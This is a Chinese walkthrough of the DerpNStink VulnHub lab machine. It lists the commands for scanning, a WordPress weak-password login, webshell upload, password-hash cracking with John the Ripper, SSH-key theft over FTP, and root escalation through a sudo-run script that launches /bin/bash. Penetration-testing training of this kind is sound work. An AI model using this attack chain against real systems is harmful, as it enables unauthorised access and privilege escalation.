DERP靶机详解

news2024/12/28 18:56:34

靶机下载地址

https://www.vulnhub.com/entry/derpnstink-1,221/

靶机配置

默认是桥接模式,切换为NAT模式后重启靶机

主机发现

arp-scan -l

端口扫描

nmap -sV -A -T4 192.168.229.158

访问网页

http://192.168.229.158/

目录扫描

python dirsearch.py -u http://192.168.229.158:80

拼接网页访问

http://192.168.229.158/robots.txt

http://192.168.229.158/php/phpmyadmin/

http://192.168.229.158/temporary

F12查看有没有有用的信息(此处找到一个flag)

flag

找到flag

查看head信息

dirb扫描目录

dirb "http://192.168.229.158:80"

拼接/weblog/wp-admin访问

http://192.168.229.158/weblog/wp-admin
存在弱口令
admin
admin

GETshell(此处找到两个flag)

寻找文件上传点

修改后点击图像

写入一句话木马成功

蚁剑连接

查找config.php文件

找到sql数据库账户密码

登录数据库

查找用户密码,发现是hash加密

kali解密

本人遇到的错误

解决办法

提供的哈希值 $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41 看起来像是一个 phpBBWordPressJoomla 使用的哈希格式,通常称为 phpass 哈希。

要将它写入 hash.txt 文件并且让 John the Ripper 正确识别,你只需要将这个哈希值直接写入文件,每行一个哈希值。具体步骤如下:

1. 编辑 hash.txt

你可以使用任何文本编辑器(例如 nanovim)打开或创建 hash.txt 文件,并将哈希值粘贴进去:

bash


复制代码
nano hash.txt

nano 编辑器中,直接写入以下内容:

shell


复制代码
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41

保存并退出。

2. 使用 John the Ripper 破解

John the Ripper 应该可以自动识别这个哈希格式,你可以使用以下命令来尝试破解它:

bash


复制代码
john hash.txt --wordlist=rockyou.txt

如果 John 无法自动识别该格式,你可以明确指定 phpass 哈希格式:

bash


复制代码
john --format=phpass hash.txt --wordlist=rockyou.txt

这样 John 就会识别并尝试破解该哈希。

john --format=phpass hash.txt --wordlist=rockyou.txt

登录用户,查找flag,发现第二个

继续探索,到家目录下,发现了两个用户 stinky 和 mrderp

FTP获取密钥

21和22端口开放,尝试ssh失败,需要密钥

尝试ftp连接,尝试使用刚刚获取到的密码wedgie57登录stinky用户,登录成功

ls
cd files
cd ssh
一直cd ssh知道查找到key.txt文件
然后使用get key.txt将其下载到本地

修改key.txt文件权限,利用key.txt进行ssh连接

chmod 700 key.txt
ssh -i key.txt stinky@192.168.229.158 
如果证书失效了,在后面加上-o PubkeyAcceptedKeyTypes=+ssh-rsa
ssh -i key.txt stinky@192.168.229.158 -o PubkeyAcceptedKeyTypes=+ssh-rsa
密码就是wedgie57

登录成功

cd desktop
找到第三个flag

然后我们去找流量包,在Documents目录下发现derpissues.pcap,开启服务,wireshark开启抓包,kali下载文件

ls
ls -al
python -m http.server
wget http://192.168.229.158:8000/derpissues.pcap

查看为wireshark

获得mrderp密码:

derpderpderpderpderpderpderp

提权

ssh连接

ssh mrderp@192.168.229.158 

查看如何提权

sudo -l

如果不存在目录和文件就自己创建目录和文件,并赋予文件权限,并执行,即可提权成功

mkdir binaries
cd binaries/
echo '/bin/bash' > derpy.sh
ls -al
chmod 777 derpy.sh
sudo ./derpy.sh
id
whoami

提权成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2143590.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

css边框修饰

一、设置线条样式 通过 border-style 属性设置,可选择的一些属性如下: dotted:点线 dashed:虚线 solid:实线 double:双实线 效果如下: 二、设置边框线宽度 ① 通过 border-width 整体设置…

量化在密集向量检索中的权衡:深入分析索引时间、查询效率与召回效果

在现代信息检索系统中,向量搜索已成为提升检索质量和效率的关键技术。随着数据量的激增,如何高效地处理和检索大规模向量数据集,成为了一个重要课题。最近,我在研究一篇关于密集和稀疏检索器的论文——《Operational Advice for D…

【图像匹配】基于Harris算法的图像匹配,matlab实现

博主简介:matlab图像代码项目合作(扣扣:3249726188) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 本次案例是基于基于Harris算法的图像匹配,用matlab实现。 一、案例背景和算法介绍 …

无人机培训机构技术股份合作探讨

随着无人机技术的飞速发展,其在航拍、农业、物流、环境监测、应急救援等多个领域展现出巨大潜力,市场对无人机专业人才的需求急剧增加。鉴于此,多家致力于无人机培训教育的机构决定携手合作,通过技术股份合作模式,共同…

基于RBAC的实验室预约系统中授权模块的研究与实现

博主介绍:专注于Java vue .net php phython 小程序 等诸多技术领域和毕业项目实战、企业信息化系统建设,从业十五余年开发设计教学工作 ☆☆☆ 精彩专栏推荐订阅☆☆☆☆☆不然下次找不到哟 我的博客空间发布了1000毕设题目 方便大家学习使用 感兴趣的…

kali——foremost的使用

目录 前言 使用方法 前言 foremost工具是一个在Kali Linux中用于数字取证和数据恢复的强大工具。 使用方法 foremost -t all -i 数据包绝对路径修复好的数据包,将会自动保存在output目录里。

7--SpringBoot-后端开发、原理

配置优先级 SpringBoot 项目当中支持的三类配置文件: application.properties application.yml application.yaml 配置文件优先级排名(从高到低): 1. properties配置文件 2. yml配置文件 3. yaml配置文件 在SpringBoot项目当…

Effective C++笔记之二十三:非void函数不写return

一.main函数 Qt Creator查看汇编的步骤如下 上图是g编译器下的汇编 eax就是main()函数的返回值 如果删掉return 0; 可以发现编译器还是把eax的值设为了0,由此可见,即使在main函数中不写return 0,编译器还是会默认添加个return 0。…

Java 入门指南:JVM(Java虚拟机)垃圾回收机制 —— 垃圾收集器

文章目录 垃圾回收机制Stop-the-World垃圾收集器垃圾收集器分类Serial 收集器Serial Old 收集器ParNew 收集器Parallel Scavenge 收集器Parallel Old 收集器CMS 收集器CMS 收集器缺点 G1 收集器G1 收集器特点G1 收集器的分代理念G1 收集器运作过程 垃圾回收机制 垃圾回收&…

二、Servlet

文章目录 1. Servlet技术1.1 什么是Servlet1.2 手动实现 Servlet 程序1.3 url 地址到 Servlet 程序的访问1.4 Servlet 的生命周期1.5 GET 和 POST 请求的分发1.6 通过继承 HttpServlet 实现 Servlet 程序1.7 使用 IDEA 创建 Servlet 程序1.8 Servlet 类的继承体系 2. ServletCo…

计算机人工智能前沿进展-大语言模型方向-2024-09-13

计算机人工智能前沿进展-大语言模型方向-2024-09-13 1. OneEdit: A Neural-Symbolic Collaboratively Knowledge Editing System Authors: Ningyu Zhang, Zekun Xi, Yujie Luo, Peng Wang, Bozhong Tian, Yunzhi Yao, Jintian Zhang, Shumin Deng, Mengshu Sun, Lei Liang, Z…

有机水果蔬菜检测系统源码分享

有机水果蔬菜检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer…

NPM如何切换淘宝镜像进行加速

什么是淘宝镜像NPM? 淘宝镜像NPM和官方NPM的主要区别在于服务器的地理位置和网络访问速度。淘宝镜像NPM是由淘宝团队维护的一个npm镜像源,主要服务于中国大陆用户,提供了一个国内的npm镜像源,地址为 https://registry.npmmirror.…

MySQL 事件调度器用法解析

MySQL 事件调度器用法解析 在日常的数据库运维与开发实践中,自动化执行任务是一项至关重要的需求,它极大地提升了数据库管理的效率和准确性。这些任务可能包括清理不再需要的历史数据以释放存储空间、更新汇总或统计信息以保持数据的新鲜度,…

Java-数据结构-二叉树-习题(三)  ̄へ ̄

文本目录: ❄️一、习题一(前序遍历非递归): ▶ 思路: ▶ 代码: ❄️二、习题二(中序遍历非递归): ▶ 思路: ▶ 代码: ❄️三、习题三(后序遍历非递归): ▶ 思路: …

2025年最新大数据毕业设计选题-基于Spark分析相关

选题思路 回忆学过的知识(Python、Java、Hadoop、Hive、Sqoop、Spark、算法等等。。。) 结合学过的知识确定大的方向 a. 确定技术方向,比如基于Hadoop、基于Hive、基于Spark 等等。。。 b. 确定业务方向,比如民宿分析、电商行为分析、天气分析等等。。。…

[网络层]-IP协议相关特性

IP协议 基本概念 主机 : 配有IP地址,但是不进行路由控制的设备路由器 : 既配有IP地址,又能进行路由控制节点: 主机和路由器的统称 协议头格式 4位版本(version):占四位,用于指定IP协议的版本,例如,使用IPv4,该字段就为44位首部长度: 表示IP协议首部的长度,以32位bit (4字节)…

秋招突击——9/10、9\11——算法练习——携程笔试练习——2024年秋招第一批笔试

文章目录 引言笔试准备2024年秋招研发第一批第一题第二题第二次实现 第三题第四题第五题参考实现 总结 引言 准备全力冲携程,好好做算法,去线下面试!今天就好好做做携程往年的笔试! 笔试准备 2024年秋招研发第一批 第一题 imp…

<<编码>> 第 14 章 反馈与触发器(1)--振荡器 示例电路

继电器振荡器 info::操作说明 无需操作, 保持控制开关常闭以形成振荡 如需停止振荡, 则断开控制开关 注: 要看到灯闪烁的效果, 右上角 “仿真速度” 控制杆应设置为一个较低的位置(靠左侧) 另: 因继电器内部开关跳动动画效果耗时太长, 即便设置为较低的仿真速度也无法观察到开关…

有效的对嵌入式操作系统进行消毒处理

这篇论文的标题是《Effectively Sanitizing Embedded Operating Systems》,作者是 Jianzhong Liu, Yuheng Shen, Yiru Xu, Hao Sun, Heyuan Shi, Yu Jiang。论文主要研究了嵌入式操作系统的安全性问题,并提出了一种名为 EmbSan 的嵌入式系统消毒器&#…